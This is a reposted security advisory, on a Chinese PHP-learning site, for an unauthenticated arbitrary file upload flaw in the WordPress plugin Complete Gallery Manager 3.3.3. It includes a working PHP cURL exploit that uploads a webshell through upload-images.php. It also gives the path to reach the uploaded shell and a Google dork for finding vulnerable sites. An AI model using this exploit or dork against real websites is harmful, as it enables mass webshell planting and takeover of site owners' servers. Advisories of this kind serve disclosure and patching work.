网站地图    收藏   

主页 > 后端 > 网站安全 >

Wordpress插件Complete Gallery Manager 3.3.3任意文件上传

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 标题:======Wordpress Plugin Complete Gallery Manager 3 3 3 - Arbitrary File Upload Vulnerability影响版本:====================================6 6介绍:=============Using Complete Gallery...

标题:
======
Wordpress Plugin Complete Gallery Manager 3.3.3 - Arbitrary File Upload Vulnerability
 
影响版本:
====================================
6.6
 
介绍:
=============
Using Complete Gallery Manager will make it fun and fast to manage and create galleries for your website. 
The plugin enables a wealth of functionality, but just because you can take advantage of its many features, 
doesn’t mean you necessarily should. For each feature you implement you should consider the benefit for 
your users. Don’t make the interface more complex than necessary. Less is more!
 
We have made it very easy for you to customize basically anything you can imagine. The Isotype Gallery has 
188 different settings you can tweak and the Touch Slider has 146 different settings.
 
(摘自: http://codecanyon.net/item/complete-gallery-manager-for-wordpress/2418606 )
 
 
摘要:
=========
An independent Vulnerability Laboratory Researcher discovered a arbitrary file upload vulnerability in the Wordpress Complete Gallery Manager v3.3.3 plugin.
影响产品:
==================
CodeCanyon
Product: Complete Gallery Manager 3.3.3
 
 
等级:
=========
高危
 
 
分析:
========
A arbitrary file upload web vulnerability is detected in the CodeCanyon Wordpress Plugin Complete Gallery Manager v3.3.3 Web-Application.
The vulnerability allows remote attackers to upload files via POST method with multiple extensions to unauthorized access them on 
application-side of the service.
 
The vulnerability is located in the /plugins/complete-gallery-manager/frames/ path when processing to upload via the  upload-images.php 
file own malicious context or webshells. After the upload the remote attacker can access the file with one extension and exchange it with the 
other one to execute for example php codes.
 
Exploitation of the vulnerability requires no user interaction and also without privilege application user account (no password standard).
Successful exploitation of the vulnerability results in unauthorized path or file access via local file include or arbitrary file upload.
 
Vulnerable Application(s):
                [+] CodeCanyon - Complete Gallery Manager
 
Vulnerable Module(s):
                [+] Image File Upload
 
Vulnerable File(s):
                [+] upload-images.php
 
Affected Module(s):
                [+] Application Index Listing (http://localhost:8000/)
 
 
测试证明
=================
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged application user account.
For demonstration or reproduce ...
 
Vuln page : 
http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
 
Exploit : 
 
<?php
$uploadfile="up.php"; 
$ch = curl_init("http://wordpress.localhost:8080/wordpress/wp-content/plugins/complete-gallery-manager/frames/upload-images.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>
 
Shell Upload Access Path : http://wordpress.localhost:8080/wp-content/2013/09/up.php
 
Google Dork: allinurl:/wp-content/plugins/complete-gallery-manager/
 
Reference(s):
http://xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://www.xxx.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
http://xxx.org/wp-content/plugins/complete-gallery-manager/frames/upload-images.php
 
 
Risk:
=====
The security risk of the arbitrary file upload web vulnerability is estimated as high(+).
 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论